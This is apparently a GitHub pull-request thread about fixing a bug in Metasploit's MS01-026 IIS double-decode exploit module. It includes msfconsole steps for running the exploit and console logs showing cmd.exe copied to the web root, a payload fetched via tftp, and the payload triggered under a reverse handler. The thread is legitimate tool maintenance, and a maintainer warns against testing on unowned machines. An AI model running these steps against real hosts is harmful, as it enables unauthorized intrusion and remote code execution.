Fix #4246 - undef method 'payload_exe' error in ms01_026_dbldecode.rb

[wchen-r7]

Fix #4246

Root Cause

This fixes an undef method 'payload_exe' error. We broke this when all modules started using Msf::Exploit::CmdStager as the only source to get a command stager payload. The problem with that is "payload_exe" is an accessor in CmdStagerTFTP, not in CmdStager, so when the module wants to access that, we trigger the undef method error.

To be exact, this is the actual commit that broke it: 7ced592

Verification

I don't have a Windows 2000 box anymore so I had to fix this bug without a test box. But by looking at the source and the commit history, I'm pretty sure this is the right fix.

Choose a way to verify:

Method 1

This is basically how I verified it as "working":

• Add a print_debug(@exe_payload.inspect) at line 200.
• Start msfconsole
• use exploit/windows/iis/ms01_026_dbldecode
• set WINDIR C:\\Windows
• set rhost [IP] (Something with IIS)
• run
• The print_debug should print a random exe name. That would be the payload name.

Method 2

If you actually have a vulnerable IIS box for this, then you should choose this way:

• Start msfconsole
• use exploit/windows/iis/ms01_026_dbldecode
• set WINDIR C:\\Windows
• set rhost [IP]
• run
• You probably should get a shell

[swiftblade19]

Tried both of your methods but still the same result. i even tried including Msf::Exploit::CmdStagerTFTP

[wchen-r7]

Please do method 1, and print your result (the last step). If you actually still get undef method error that way, you probably did something wrong.

[wchen-r7]

Method 1 should get you to do something like this:

msf > use exploit/windows/iis/ms01_026_dbldecode 
msf exploit(ms01_026_dbldecode) > set windir C:\\Windows
windir => C:\Windows
msf exploit(ms01_026_dbldecode) > set rhost 192.168.1.80
rhost => 192.168.1.80
msf exploit(ms01_026_dbldecode) > run

[*] Started reverse handler on 192.168.1.64:4444 
[*] Using windows directory "C:\Windows"
[*] Copying cmd.exe to the web root as "xndN.exe"...
[*] Executing command: copy \C:\Windows\system32\cmd.exe xndN.exe (options: {})
[*] Executing command: tftp -i  GET  fzLjhfxs.exe (options: {:temp=>".", :linemax=>1400, :cgifname=>"xndN.exe"})
[*] Command Stager progress -  59.09% done (26/44 bytes)
[*] Command Stager progress - 100.00% done (44/44 bytes)
[!] "fzLjhfxs.exe"  <-------------- This indicates it's calling the right method
[*] Triggering the payload via a direct request...
msf exploit(ms01_026_dbldecode) >

[swiftblade19]

Yep it was my mistake i apologize.. should something else happen after
triggering the payload? Only shell open if succesfull?

2014-12-12 16:23 GMT+01:00 sinn3r notifications@github.com:

Method 1 should get you to do something like this:

msf > use exploit/windows/iis/ms01_026_dbldecode
msf exploit(ms01_026_dbldecode) > set windir C:\Windows
windir => C:\Windows
msf exploit(ms01_026_dbldecode) > set rhost 192.168.1.80
rhost => 192.168.1.80
msf exploit(ms01_026_dbldecode) > run

[] Started reverse handler on 192.168.1.64:4444
[] Using windows directory "C:\Windows"
[] Copying cmd.exe to the web root as "xndN.exe"...
[] Executing command: copy \C:\Windows\system32\cmd.exe xndN.exe (options: {})
[] Executing command: tftp -i GET fzLjhfxs.exe (options: {:temp=>".", :linemax=>1400, :cgifname=>"xndN.exe"})
[] Command Stager progress - 59.09% done (26/44 bytes)
[] Command Stager progress - 100.00% done (44/44 bytes)
[!] "fzLjhfxs.exe" <-------------- This indicates it's calling the right method
[] Triggering the payload via a direct request...
msf exploit(ms01_026_dbldecode) >

—
Reply to this email directly or view it on GitHub
#4321 (comment)
.

[wchen-r7]

If you have a vulnerable IIS, yeah I THINK you get a shell. But I have no Windows 2000 to test this so I have no idea how well this exploit works. It was written by jduck, who's been a really good exploit dev so I can only assume it probably works.

[wchen-r7]

One of his early commits was this:
wchen-r7@24eb0f0

It says "nt4".... if this means Windows NT, then he might have tested the exploit on a IIS 4 machine. In that case........ it's pretty much unverifiable by us nowadays -_-

[swiftblade19]

Yep but i am still able to find online NT machine online with iis
installed. It is hard but possible. Takes a lot of time still.

2014-12-12 16:34 GMT+01:00 sinn3r notifications@github.com:

One of his early commits was this:
wchen-r7/metasploit-framework@24eb0f0
wchen-r7@24eb0f0

It says "nt4".... if this means Windows NT, then he might have tested the
exploit on a IIS 4 machine. In that case........ it's pretty much
unverifiable nowadays -_-

—
Reply to this email directly or view it on GitHub
#4321 (comment)
.

[wchen-r7]

I do appreciate your effort to test the module, but if by online NT machine you mean some random NT machine you have found on the Internet that you don't own or have permission to test, please stay away from it. That type of testing is actually illegal and I don't really want anybody to do any illegal activities because of trying to verify a patch. If we can't find a NT or 2000 ISO to install and test, over here we basically don't test it (or we find another way to prove the patch works, which in this case would be method 1). Thanks again.

[swiftblade19]

Dont worry i am fully aware of law around these things i am testing only
known machines.

2014-12-12 16:43 GMT+01:00 sinn3r notifications@github.com:

I do appreciate your effort to test the module, but if by online NT
machine you mean some random NT machine you have found on the Internet that
you don't own or have permission to test, please stay away from it. That
type of testing is actually illegal and I don't really want anybody to do
any illegal activities because of trying to verify a patch. If we can't
find a NT or 2000 ISO to install and test, over here we basically don't
test it (or we find another way to prove the patch works, which in this
case would be method 1). Thanks again.

—
Reply to this email directly or view it on GitHub
#4321 (comment)
.

[jvazquez-r7]

I'm trying to set up a win2000 for testing...

[jvazquez-r7]

Put Windows 2000 SP4 server up, unfortunately doesn't look vulnerable. My ism.dll version is 5.0.2.2195.6620. According to http://www.security-database.com/detail.php?alert=MS01-026 vulnerable installations are: File %windir%\system32\inetsrv\ism.dll version is less than 4.2.764.1 :\ I'm going to give a chance to @swiftblade19 to test. If he isn't successful I'll proceed with method1 ! Thanks @swiftblade19 for trying to test it! Really helpful!

[jvazquez-r7]

The hasn't been any feedback from @swiftblade19 on 14 days, so I'm going to proceed with Method1

[jvazquez-r7]

Verification through Method 1 worked:

msf exploit(ms01_026_dbldecode) > run

[*] Started reverse handler on 172.16.158.1:4444
[*] Using windows directory "C:\Windows"
[*] Copying cmd.exe to the web root as "dinnb.exe"...
[*] Executing command: copy \C:\Windows\system32\cmd.exe dinnb.exe (options: {})
[*] Executing command: tftp -i  GET  dzEAgZIv.exe (options: {:temp=>".", :linemax=>1400, :cgifname=>"dinnb.exe"})
[*] Command Stager progress -  59.09% done (26/44 bytes)
[*] Command Stager progress - 100.00% done (44/44 bytes)
[!] "dzEAgZIv.exe"
[*] Triggering the payload via a direct request...

landing

[swiftblade19]

Hi,

I tested both methods but mz machine seems to be not vulnerable. If you
need further information about IIS version or system i am testing on please
contact me here.

2014-12-26 19:40 GMT+01:00 Juan Vazquez notifications@github.com:

The hasn't been any feedback from @swiftblade19
https://github.com/swiftblade19 on 14 days, so I'm going to proceed
with Method1

—
Reply to this email directly or view it on GitHub
#4321 (comment)
.